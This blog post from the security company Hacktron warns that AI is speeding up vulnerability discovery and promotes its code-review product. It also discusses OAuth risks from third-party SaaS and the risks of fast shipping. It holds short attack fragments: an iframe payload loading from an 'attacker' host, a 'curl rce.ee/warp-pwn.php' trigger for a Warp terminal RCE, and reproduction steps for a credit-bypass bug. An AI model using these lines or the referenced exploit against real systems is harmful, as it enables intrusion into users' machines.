Hacktron

In the last two months Vercel and GitHub both announced a security breach and I believe we’re going to see a lot more of this (unfortunately).

In the months after s1r1us’s tweet, critical CVEs followed from vendors like F5, Fortinet, Cisco, Palo Alto, OSS projects, etc. Our 2-person team alone, with the help of Hacktron and Claude, has uncovered numerous critical issues which we will be disclosing in the coming days and weeks:

Hacktron’s findings table with 12 entries from HTAI-006 to HTAI-017, covering Palo Alto Networks, Sonatype, WSO2, Next.js, Retool, Ghostscript, Grafana, and OAuth2 Proxy, with CVE IDs, bug types, and disclosure dates

Hacktron’s findings table with 12 entries from HTAI-006 to HTAI-017, covering Palo Alto Networks, Sonatype, WSO2, Next.js, Retool, Ghostscript, Grafana, and OAuth2 Proxy, with CVE IDs, bug types, and disclosure dates

This is all fun until you reflect on the sheer speed at which vulnerabilities are getting found. State-sponsored threat actors are in their prime time right now, fully resourced, finding 0-days with AI and planning the next big breach. It can be anyone or any org, quite literally.

One of the big limitations in security has always been talent and their niche. This is no longer true. I truly believe anyone with a somewhat good understanding of threat modeling software, asking the right questions, and patience can now hack! And the attack surfaces are only getting broader.

From a security point of view, the major implications I see are:

  • OSS / enterprise software

  • New SaaS products

  • Shipping fast

Any of the three can cause a company-wide security incident.

OSS / enterprise software

A few years back, if you’d told me F5, Fortinet, Cisco, Palo Alto, and ImageMagick would all get popped in one month, I probably would’ve been very skeptical. Today, if someone tells me they got 2-3 crazy 0days in OSS / enterprise software this week, I’d believe it.

So what changed? AI is accelerating vuln research. You can now understand the architecture of an app, read code faster, and reverse binaries at insane speed.

When you give those powers to a team of threat actors, they’re going after widely used appliances and software like SSL VPNs, firewalls, and remote appliances to compromise your infrastructure. Or they go after your employees by targeting client software like Slack, Discord, Teams, and Zoom. I have already shown how easy it is to hack enterprise software now look at: BeyondTrust blog, Palo Alto blog.

I was doing some cleanup of our Google Workspace recently and noticed an email client being used by one of my colleagues. Since this opened up a new attack surface for us, I asked him why he preferred the email client over Gmail web:

My email client died gg
Harsh Jaiswal

whats the reasoning of using this clients and not mail.google.com lol

It helps me block images / trackers by default

Syncs with calendar / tasks for desktop reminders and notifications

I can see all my calendars and mailboxes on my accounts together
Harsh Jaiswal

Oh

Pretty sure would be ezz pwnable such clients xd

He preferred it for convenience. A few moments later:

Harsh Jaiswal

okay gave it 2 hrs, tldr its fucked,.

windows client:

Just checked high level:: CEF (chrome 73) 7 years old with --no-sandbox one CSP bypass -> iframe src=//attacker/renderer-exploit.html - calc cc @s1r1us XD

macos client, got JS exeution via attackers email, not CEF here but rather Webkit can do good amount of exfil of emails in threads (even if im no longer in thread), set attackers email to whitelist to allows load images, get geolocation etc etc.

The convenience vs security trade-off here is big. After about 2 hours of poking around with Claude, we had two findings on this email client:

  • One malicious email on the Windows client can do potential RCE.

  • On the Mac client, an email can potentially steal emails etc.

From a developer point of view, IDEs, terminals, and agentic flows will soon become attack surfaces. The GitHub hack, for example, came through an IDE extension.

Take Warp Terminal, a recently open-sourced agentic terminal. A few of my colleagues used it, so we ran a Hacktron scan on its open source code and found an RCE.

A chained exploit gives an attacker code execution on any machine running Warp with zero user interaction. The victim only has to let attacker-controlled bytes reach their terminal (e.g. curl rce.ee/warp-pwn.php, a poisoned log line, cat-ing a file). There are two independent paths to RCE, so the attack works whether or not Warp’s AI features are enabled.

For curious technical readers, it would be a good exercise to check out the April Warp git and use the available exploit to find how the exploit works.

Everyone’s POC’ing the new SaaS

People have always tried new apps coming in their feed or from their peers. However, in this age a vibe-coded product is launching every day, some of the same types, some different, including DevOps tools, CRMs, and others.

Picture a vibe-coded SaaS getting tried by lots of developers, with the SaaS taking elevated permissions to Google Workspace, cloud infra, or GitHub repos. They probably won’t even use this SaaS again and never revoke the grant. This creates another entry point into your org.

From Guillermo’s tweet regarding the Vercel breach: a Vercel employee got compromised through the breach of an AI platform called Context.ai. From there, the attacker got into Vercel environments.

Vercel might have vulnerabilities in their product (every product does), but that’s not what got them. A developer connecting to a third-party AI SaaS that got pwned did.

My guess is that Context.ai had escalated OAuth permissions on that dev’s account, which means whoever landed on Context.ai’s side inherited the same perms the dev had across Vercel’s customer environments, and that’s the footgun.

Teams are shipping fast

Agents are writing code and humans are reviewing less of it. Finding vulnerabilities in shift-left was already a hard task; previous tools have not worked, have always created noise, and have often let vulnerabilities slip to prod, only to be caught later via other means.

This is even more prone to happen now given how fast the codebases are growing. In the time you review and understand one feature, 3 more are ready, and you just don’t have the team and cognitive load to review tens of thousands of lines of code to find that one nasty bug.

Another thing about vulnerabilities is that they are not necessarily bound to happen in the changed code, but can happen in an entirely different area of the codebase or another codebase, just because one function’s signature changes a default from false to true.

On the other hand, business-wise, it is necessary for teams to ship fast; otherwise, competitors are going to get ahead.

Even at Hacktron, when a client asks for a feature we try our best to ship it asap, and that means sometimes agents are gonna slip in vulnerabilities.

Real-time PR review with our code review solution is how we catch these at Hacktron:

apps/iva/src/scan/scan.service.ts
scan_source:
  dto.source === ScanSource.GITHUB
    ? 'github_ci'
    : dto.source === ScanSource.GITLAB
      ? 'gitlab_ci'
      : null,

hacktron-app (bot), 3 weeks ago

High: Pentest Credit Deduction Bypass via Omitted Cost Estimation ID

The createWebScanObject method in ScanService is responsible for deducting pentest credits when a scan is initiated. It relies on the resolveCredits method to determine the number of credits to deduct based on the provided cost_estimation_id. However, if a user initiates a full pentest scan (scan_type: ScanType.FULL) but omits the cost_estimation_id in their request, resolveCredits simply returns undefined. Consequently, the credit deduction logic (if (creditsUsed && dto.organizationId)) is bypassed entirely. Since there is no server-side validation enforcing the presence of a cost_estimation_id for full pentest scans, an attacker can exploit this to run unlimited full pentests without consuming any credits.

Steps to Reproduce

  1. Authenticate as a standard user.

  2. Send a POST request to the /scans endpoint to create a new scan.

  3. Set the scan_type to full but omit the cost_estimation_id field from the JSON payload.

  4. Observe that the scan starts successfully and no pentest credits are deducted from the organization’s balance.

How to position yourself better

If you ask me, there’s one rule you should try to practice: assume breach.

Assume the sandbox where you’re executing commands is going to get breached, so build a better sandbox. Assume the user will escape the sandbox, so the outer infra should adopt roles and network rules with that threat model in mind.

The same logic applies to third parties. Assume the SaaS you’re giving access to is going to get breached. Would you still give them Gmail read access? Assume your Slack workspace or your local machine is going to get hacked. Would you still have production keys sitting in chat?

If you’re a security team sitting between fast-shipping product teams and production, this is the problem we built Hacktron Review to solve. Start a trial.